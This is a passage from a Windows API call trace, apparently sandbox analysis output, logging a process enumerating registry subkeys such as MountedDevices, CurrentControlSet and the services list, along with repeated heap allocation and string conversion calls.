lpName=0x2152850, cchName=0x104 | out: lpName="MountedDevices") returned 0x0 [0193.810] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0193.810] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mounteddevices", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0193.810] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0193.810] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mounteddevices", cchWideChar=14, lpMultiByteStr=0x21f18e0, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mounteddevices", lpUsedDefaultChar=0x0) returned 14 [0193.810] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c88 [0193.810] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0193.810] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c88) returned 1 [0193.810] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0193.810] RegEnumKeyW (in: hKey=0x140, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="RNG") returned 0x0 [0193.810] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0193.810] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rng", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0193.810] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c88 [0193.810] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rng", cchWideChar=3, lpMultiByteStr=0x21f1c88, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rng", lpUsedDefaultChar=0x0) returned 3 [0193.810] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0193.810] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c88) returned 1 [0193.810] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0193.810] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0193.810] RegEnumKeyW (in: hKey=0x140, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="Select") returned 0x0 [0193.811] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0193.811] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="select", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0193.811] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0193.811] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="select", cchWideChar=6, lpMultiByteStr=0x21f18e0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="select", lpUsedDefaultChar=0x0) returned 6 [0193.811] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c88 [0193.811] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0193.811] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c88) returned 1 [0193.811] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0193.811] RegEnumKeyW (in: hKey=0x140, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="Setup") returned 0x0 [0193.811] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0193.811] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="setup", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0193.811] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c88 [0193.811] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="setup", cchWideChar=5, lpMultiByteStr=0x21f1c88, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="setup", lpUsedDefaultChar=0x0) returned 5 [0193.811] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0193.811] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c88) returned 1 [0193.811] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0193.811] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0193.811] RegEnumKeyW (in: hKey=0x140, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName="Software") returned 0x0 [0193.811] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0193.811] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0193.811] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0193.811] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x21f18e0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="software", lpUsedDefaultChar=0x0) returned 8 [0193.811] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c88 [0193.811] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0193.811] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c88) returned 1 [0193.811] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0193.811] RegEnumKeyW (in: hKey=0x140, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="WPA") returned 0x0 [0193.812] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0193.812] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wpa", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0193.812] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c88 [0193.812] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wpa", cchWideChar=3, lpMultiByteStr=0x21f1c88, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wpa", lpUsedDefaultChar=0x0) returned 3 [0193.812] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0193.812] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c88) returned 1 [0193.812] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0193.812] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0193.812] RegEnumKeyW (in: hKey=0x140, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="CurrentControlSet") returned 0x0 [0193.812] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0193.812] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="currentcontrolset", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0193.812] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0193.812] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="currentcontrolset", cchWideChar=17, lpMultiByteStr=0x21f18e0, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="currentcontrolset", lpUsedDefaultChar=0x0) returned 17 [0193.812] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c88 [0193.812] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0193.812] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c88) returned 1 [0193.812] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0193.812] RegOpenKeyExW (in: hKey=0x140, lpSubKey="CurrentControlSet", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x14c) returned 0x0 [0193.812] RegCloseKey (hKey=0x140) returned 0x0 [0193.812] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="Control") returned 0x0 [0193.812] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0193.812] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="control", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0193.812] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c88 [0193.812] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="control", cchWideChar=7, lpMultiByteStr=0x21f1c88, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="control", lpUsedDefaultChar=0x0) returned 7 [0193.812] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0193.812] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c88) returned 1 [0193.812] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0193.812] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0193.812] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="Enum") returned 0x0 [0193.812] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0193.813] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="enum", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0193.813] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0193.813] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="enum", cchWideChar=4, lpMultiByteStr=0x21f18e0, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="enum", lpUsedDefaultChar=0x0) returned 4 [0193.813] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c88 [0193.813] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0193.813] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c88) returned 1 [0193.813] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0193.813] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="Hardware Profiles") returned 0x0 [0193.813] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0193.813] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware profiles", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0193.813] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c88 [0193.813] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware profiles", cchWideChar=17, lpMultiByteStr=0x21f1c88, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hardware profiles", lpUsedDefaultChar=0x0) returned 17 [0193.813] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0193.813] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c88) returned 1 [0193.813] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0193.813] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0193.813] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="Policies") returned 0x0 [0193.813] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0193.813] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="policies", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0193.813] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0193.813] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="policies", cchWideChar=8, lpMultiByteStr=0x21f18e0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="policies", lpUsedDefaultChar=0x0) returned 8 [0193.813] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c88 [0193.813] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0193.813] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c88) returned 1 [0193.813] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0193.813] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="services") returned 0x0 [0193.813] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0193.813] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="services", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0193.813] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c88 [0193.813] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="services", cchWideChar=8, lpMultiByteStr=0x21f1c88, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="services", lpUsedDefaultChar=0x0) returned 8 [0193.813] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0193.813] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c88) returned 1 [0193.813] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0193.814] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0193.814] RegOpenKeyExW (in: hKey=0x14c, lpSubKey="services", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x140) returned 0x0 [0193.814] RegCloseKey (hKey=0x14c) returned 0x0 [0193.814] RegEnumKeyW (in: hKey=0x140, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Data") returned 0x0 [0193.814] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0193.814] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr data", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0193.814] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0193.814] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr data", cchWideChar=13, lpMultiByteStr=0x21f18e0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr data", lpUsedDefaultChar=0x0) returned 13 [0193.814] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c88 [0193.814] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0193.814] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c88) returned 1 [0193.814] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0193.814] RegEnumKeyW (in: hKey=0x140, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking") returned 0x0 [0193.814] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0193.814] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0193.814] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c88 [0193.814] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking", cchWideChar=19, lpMultiByteStr=0x21f1c88, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr networking", lpUsedDefaultChar=0x0) returned 19 [0193.814] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0193.814] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c88) returned 1 [0193.814] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0193.814] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0193.814] RegEnumKeyW (in: hKey=0x140, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking 4.0.0.0") returned 0x0 [0193.814] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0193.814] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking 4.0.0.0", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0193.814] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0193.814] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking 4.0.0.0", cchWideChar=27, lpMultiByteStr=0x21f18e0, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr networking 4.0.0.0", lpUsedDefaultChar=0x0) returned 27 [0193.814] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c88 [0193.814] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0193.814] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c88) returned 1 [0193.814] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0193.815] RegEnumKeyW (in: hKey=0x140, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for Oracle") returned 0x0 [0193.815] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0193.815] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for oracle", cchWideChar=29, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 29 [0193.815] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c88 [0193.815] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for oracle", cchWideChar=29, lpMultiByteStr=0x21f1c88, cbMultiByte=29, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net data provider for oracle", lpUsedDefaultChar=0x0) returned 29 [0193.815] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0193.815] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c88) returned 1 [0193.815] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0193.815] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0193.815] RegEnumKeyW (in: hKey=0x140, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for SqlServer") returned 0x0 [0193.815] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0193.815] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for sqlserver", cchWideChar=32, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0193.815] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0193.815] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for sqlserver", cchWideChar=32, lpMultiByteStr=0x21f18e0, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net data provider for sqlserver", lpUsedDefaultChar=0x0) returned 32 [0193.815] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c88 [0193.815] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0193.815] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c88) returned 1 [0193.815] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0193.815] RegEnumKeyW (in: hKey=0x140, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Memory Cache 4.0") returned 0x0 [0193.815] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0193.815] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net memory cache 4.0", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0193.815] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c88 [0193.815] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net memory cache 4.0", cchWideChar=21, lpMultiByteStr=0x21f1c88, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net memory cache 4.0", lpUsedDefaultChar=0x0) returned 21 [0193.815] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0193.815] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c88) returned 1 [0193.815] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0193.815] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0193.815] RegEnumKeyW (in: hKey=0x140, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName=".NETFramework") returned 0x0 [0193.815] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0193.815] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".netframework", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0193.815] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0193.815] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".netframework", cchWideChar=13, lpMultiByteStr=0x21f18e0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".netframework", lpUsedDefaultChar=0x0) returned 13 [0193.816] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c88 [0193.816] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0193.816] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c88) returned 1 [0193.816] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0193.816] RegEnumKeyW (in: hKey=0x140, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="1394ohci") returned 0x0 [0193.816] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0193.816] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="1394ohci", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0193.816] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c88 [0193.816] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="1394ohci", cchWideChar=8, lpMultiByteStr=0x21f1c88, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="1394ohci", lpUsedDefaultChar=0x0) returned 8 [0193.816] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0193.816] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c88) returned 1 [0193.816] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0193.816] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0193.816] RegEnumKeyW (in: hKey=0x140, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="ACPI") returned 0x0 [0193.816] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0193.816] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpi", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: 